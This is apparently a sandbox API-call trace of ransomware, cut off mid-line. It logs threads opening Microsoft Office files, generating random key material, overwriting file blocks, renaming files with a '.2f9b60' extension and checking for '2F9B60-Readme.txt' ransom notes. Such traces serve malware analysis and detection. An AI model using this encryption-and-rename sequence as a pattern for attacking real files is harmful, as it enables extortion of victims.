[0162.709] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="98") returned 2 [0162.709] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="40") returned 2 [0162.709] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="91") returned 2 [0162.709] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="a2") returned 2 [0162.709] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="23") returned 2 [0162.709] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="54") returned 2 [0162.709] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="83") returned 2 [0162.709] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="3f") returned 2 [0162.709] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="91") returned 2 [0162.709] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="76") returned 2 [0162.709] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="ca") returned 2 [0162.709] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="5f") returned 2 [0162.709] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="cf") returned 2 [0162.709] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="db") returned 2 [0162.709] RtlInitAnsiString (in: DestinationString=0x274df728, SourceString="db52ecffa042d0557d72984091a22354833f9176ca5fcfdb" | out: DestinationString="db52ecffa042d0557d72984091a22354833f9176ca5fcfdb") [0162.709] RtlAnsiStringToUnicodeString (in: DestinationString=0x274df6f8, SourceString="db52ecffa042d0557d72984091a22354833f9176ca5fcfdb", AllocateDestinationString=1 | out: DestinationString="db52ecffa042d0557d72984091a22354833f9176ca5fcfdb") returned 0x0 [0162.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9240 [0162.710] RtlFreeAnsiString (AnsiString="d") [0162.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0162.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0162.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4a0) returned 1 [0162.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x133ce0) returned 1 [0162.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7170) returned 1 [0162.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7350) returned 1 [0162.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced78c0) returned 1 [0162.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e6b0) returned 1 [0162.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7bf0) returned 1 [0162.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7cb0) returned 1 [0162.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ce0) returned 1 [0162.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ced3190 [0162.713] wcscat (in: _Dest=0x1ced3190, _Source="db52ecffa042" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\db52ecffa042") returned="C:\\Program Files\\Microsoft Office\\Office14\\db52ecffa042" [0162.713] wcscat (in: _Dest=0x1ced3190, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\db52ecffa042.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\db52ecffa042.2f9b60" [0162.713] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\db52ecffa042.2f9b60", NtPathName=0x274df6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\db52ecffa042.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0162.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050c190 [0164.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c190) returned 1 [0164.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ba30) returned 1 [0164.263] NtQueryInformationFile (in: FileHandle=0xd2c, IoStatusBlock=0x274df738, FileInformation=0x274df748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x274df738, FileInformation=0x274df748) returned 0x0 [0164.263] NtSetInformationFile (FileHandle=0xd2c, IoStatusBlock=0x274df738, FileInformation=0x274df748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3190) returned 1 [0165.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9240) returned 1 [0165.270] FlushFileBuffers (hFile=0xd2c) returned 1 [0166.256] CloseHandle (hObject=0xd2c) returned 1 [0184.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x42c23170 [0184.075] wcscpy (in: _Dest=0x42c23170, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0184.075] wcscat (in: _Dest=0x42c23170, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0184.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0184.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c23170) returned 1 [0184.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd10) returned 1 Thread: id = 406 os_tid = 0xf88 [0090.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixoledb.pdl")) returned 0x20 [0091.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL", dwFileAttributes=0x20) returned 1 [0091.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixoledb.pdl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd28 [0091.050] GetFileSizeEx (in: hFile=0xd28, lpFileSize=0x275afd80 | out: lpFileSize=0x275afd80*=175520) returned 1 [0091.050] SetFilePointerEx (in: hFile=0xd28, liDistanceToMove=0x2ad9c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.050] ReadFile (in: hFile=0xd28, lpBuffer=0x275afd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x275afd48, lpOverlapped=0x0 | out: lpBuffer=0x275afd00*, lpNumberOfBytesRead=0x275afd48*=0x4, lpOverlapped=0x0) returned 1 [0091.135] SetFilePointerEx (in: hFile=0xd28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7170 [0091.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74a0 [0091.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7530 [0091.135] NtQuerySystemTime (in: CurrentTime=0x275afc40 | out: CurrentTime=0x275afc40*=132462176969926000) returned 0x0 [0091.135] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x7ba03643 [0091.135] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0xd70a3eb [0091.135] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x4acf4bb [0091.135] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x277dc7a7 [0091.135] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x52273a30 [0091.135] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x69a08e8c [0091.135] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x25011e91 [0091.135] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x19e485f9 [0091.135] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x221df88b [0091.135] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x192e2630 [0091.135] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x1592087d [0091.135] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x5ca9be10 [0091.135] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x3e5b820f [0091.135] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x165de571 [0091.135] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x782b4599 [0091.135] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x7e7f5a2d [0091.135] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x111c0ae0 [0091.136] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x51e9740f [0091.136] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x574c2a73 [0091.136] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x1cfda777 [0091.136] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x4240f865 [0091.136] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x66c35476 [0091.136] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x762a3961 [0091.136] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x77c85590 [0091.136] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x7dbef104 [0091.136] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0xcb22b88 [0091.136] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x5e7bcce6 [0091.136] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x1b109533 [0091.136] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x7a4eae75 [0091.136] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x559487a8 [0091.136] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x7877ed49 [0091.136] RtlRandomEx (in: Seed=0x275afc30 | out: Seed=0x275afc30) returned 0x556ab3dd [0091.145] SetFilePointerEx (in: hFile=0xd28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.145] ReadFile (in: hFile=0xd28, lpBuffer=0x2015b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x275afca0, lpOverlapped=0x0 | out: lpBuffer=0x2015b4e0*, lpNumberOfBytesRead=0x275afca0*=0x3c00, lpOverlapped=0x0) returned 1 [0091.467] SetFilePointerEx (in: hFile=0xd28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0091.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec10 [0091.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77a0 [0091.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77a0) returned 1 [0091.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20193cc0 [0091.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77a0 [0091.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7830 [0091.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7830) returned 1 [0091.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec10) returned 1 [0091.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0091.468] WriteFile (in: hFile=0xd28, lpBuffer=0x20193cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x275afca0, lpOverlapped=0x0 | out: lpBuffer=0x20193cc0*, lpNumberOfBytesWritten=0x275afca0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20193cc0) returned 1 [0100.417] SetFilePointerEx (in: hFile=0xd28, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.417] ReadFile (in: hFile=0xd28, lpBuffer=0x2015b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x275afca0, lpOverlapped=0x0 | out: lpBuffer=0x2015b4e0*, lpNumberOfBytesRead=0x275afca0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.430] SetFilePointerEx (in: hFile=0xd28, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0100.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866cc0 [0100.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263950 [0100.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263950) returned 1 [0100.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20131d40 [0100.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263950 [0100.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0100.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263980) returned 1 [0100.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866cc0) returned 1 [0100.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0100.431] WriteFile (in: hFile=0xd28, lpBuffer=0x20131d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x275afca0, lpOverlapped=0x0 | out: lpBuffer=0x20131d40*, lpNumberOfBytesWritten=0x275afca0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20131d40) returned 1 [0100.559] SetFilePointerEx (in: hFile=0xd28, liDistanceToMove=0x271a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.559] ReadFile (in: hFile=0xd28, lpBuffer=0x2015b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x275afca0, lpOverlapped=0x0 | out: lpBuffer=0x2015b4e0*, lpNumberOfBytesRead=0x275afca0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.656] SetFilePointerEx (in: hFile=0xd28, liDistanceToMove=0x271a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c530 [0100.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d570 [0100.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d50 [0100.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262d50) returned 1 [0100.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf0b2d0 [0100.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d50 [0100.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e60 [0100.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e60) returned 1 [0100.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d570) returned 1 [0100.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c530) returned 1 [0100.657] WriteFile (in: hFile=0xd28, lpBuffer=0x1cf0b2d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x275afca0, lpOverlapped=0x0 | out: lpBuffer=0x1cf0b2d0*, lpNumberOfBytesWritten=0x275afca0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf0b2d0) returned 1 [0128.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b864450 [0128.144] SetFilePointerEx (in: hFile=0xd28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.144] WriteFile (in: hFile=0xd28, lpBuffer=0x420600b0*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x275afd50, lpOverlapped=0x0 | out: lpBuffer=0x420600b0*, lpNumberOfBytesWritten=0x275afd50*=0x148, lpOverlapped=0x0) returned 1 [0128.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0128.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867040 [0128.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e30 [0128.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264e30) returned 1 [0128.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0128.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e30 [0128.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0128.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264e90) returned 1 [0128.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0128.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0128.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9e930 [0128.148] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="d4") returned 2 [0128.148] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="8c") returned 2 [0128.148] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="ae") returned 2 [0128.148] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="96") returned 2 [0128.148] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="0c") returned 2 [0128.148] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="73") returned 2 [0128.148] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="7c") returned 2 [0128.148] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="7f") returned 2 [0128.148] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="88") returned 2 [0128.148] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="8f") returned 2 [0128.148] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="4c") returned 2 [0128.148] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="69") returned 2 [0128.148] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="4a") returned 2 [0128.148] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="d9") returned 2 [0128.148] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="1c") returned 2 [0128.148] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="0e") returned 2 [0128.148] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="7a") returned 2 [0128.148] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="8e") returned 2 [0128.149] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="6f") returned 2 [0128.149] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="f6") returned 2 [0128.149] sprintf (in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="59") returned 2 [0128.149] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="6a") returned 2 [0128.149] RtlInitAnsiString (in: DestinationString=0x275afdc8, SourceString="d48cae960c737c7f888f4c694ad91c0e7a8e6ff6596a" | out: DestinationString="d48cae960c737c7f888f4c694ad91c0e7a8e6ff6596a") [0128.149] RtlAnsiStringToUnicodeString (in: DestinationString=0x275afd98, SourceString="d48cae960c737c7f888f4c694ad91c0e7a8e6ff6596a", AllocateDestinationString=1 | out: DestinationString="d48cae960c737c7f888f4c694ad91c0e7a8e6ff6596a") returned 0x0 [0128.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b8640d0 [0128.149] wcscat (in: _Dest=0x1b85d020, _Source="d48cae960c7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\d48cae960c7") returned="C:\\Program Files\\Microsoft Office\\Office14\\d48cae960c7" [0128.149] wcscat (in: _Dest=0x1b85d020, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\d48cae960c7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\d48cae960c7.2f9b60" [0128.149] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\d48cae960c7.2f9b60", NtPathName=0x275afd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\d48cae960c7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8615f0 [0128.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8615f0) returned 1 [0128.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0128.151] NtQueryInformationFile (in: FileHandle=0xd28, IoStatusBlock=0x275afdd8, FileInformation=0x275afde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x275afdd8, FileInformation=0x275afde8) returned 0x0 [0128.151] NtSetInformationFile (FileHandle=0xd28, IoStatusBlock=0x275afdd8, FileInformation=0x275afde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d020) returned 1 [0128.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8640d0) returned 1 [0128.153] FlushFileBuffers (hFile=0xd28) returned 1 [0128.155] CloseHandle (hObject=0xd28) returned 1 [0128.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85d020 [0128.156] wcscpy (in: _Dest=0x1b85d020, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0128.156] wcscat (in: _Dest=0x1b85d020, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0128.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0128.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d020) returned 1 [0128.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd90) returned 1 Thread: id = 407 os_tid = 0xf8c [0090.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixoracle.pdl")) returned 0x20 [0091.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL", dwFileAttributes=0x20) returned 1 [0091.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixoracle.pdl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd24 [0091.049] GetFileSizeEx (in: hFile=0xd24, lpFileSize=0x2769f6a0 | out: lpFileSize=0x2769f6a0*=409504) returned 1 [0091.049] SetFilePointerEx (in: hFile=0xd24, liDistanceToMove=0x63f9c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.049] ReadFile (in: hFile=0xd24, lpBuffer=0x2769f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2769f668, lpOverlapped=0x0 | out: lpBuffer=0x2769f620*, lpNumberOfBytesRead=0x2769f668*=0x4, lpOverlapped=0x0) returned 1 [0091.145] SetFilePointerEx (in: hFile=0xd24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7170 [0091.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7530 [0091.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced75c0 [0091.146] NtQuerySystemTime (in: CurrentTime=0x2769f560 | out: CurrentTime=0x2769f560*=132462176969926000) returned 0x0 [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x5fec0f42 [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x4e8f4ee [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x1214343c [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x29c03eb0 [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x6aea801f [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x46440f69 [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x7b82fd86 [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x4ed66738 [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x7f3824da [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0xcf51af1 [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x16c41ad0 [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x32eb5343 [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x7b30b3bb [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0x4a8a9cda [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 0xe0d685e [0091.146] RtlRandomEx (in: Seed=0x2769f550 | out: Seed=0x2769f550) returned 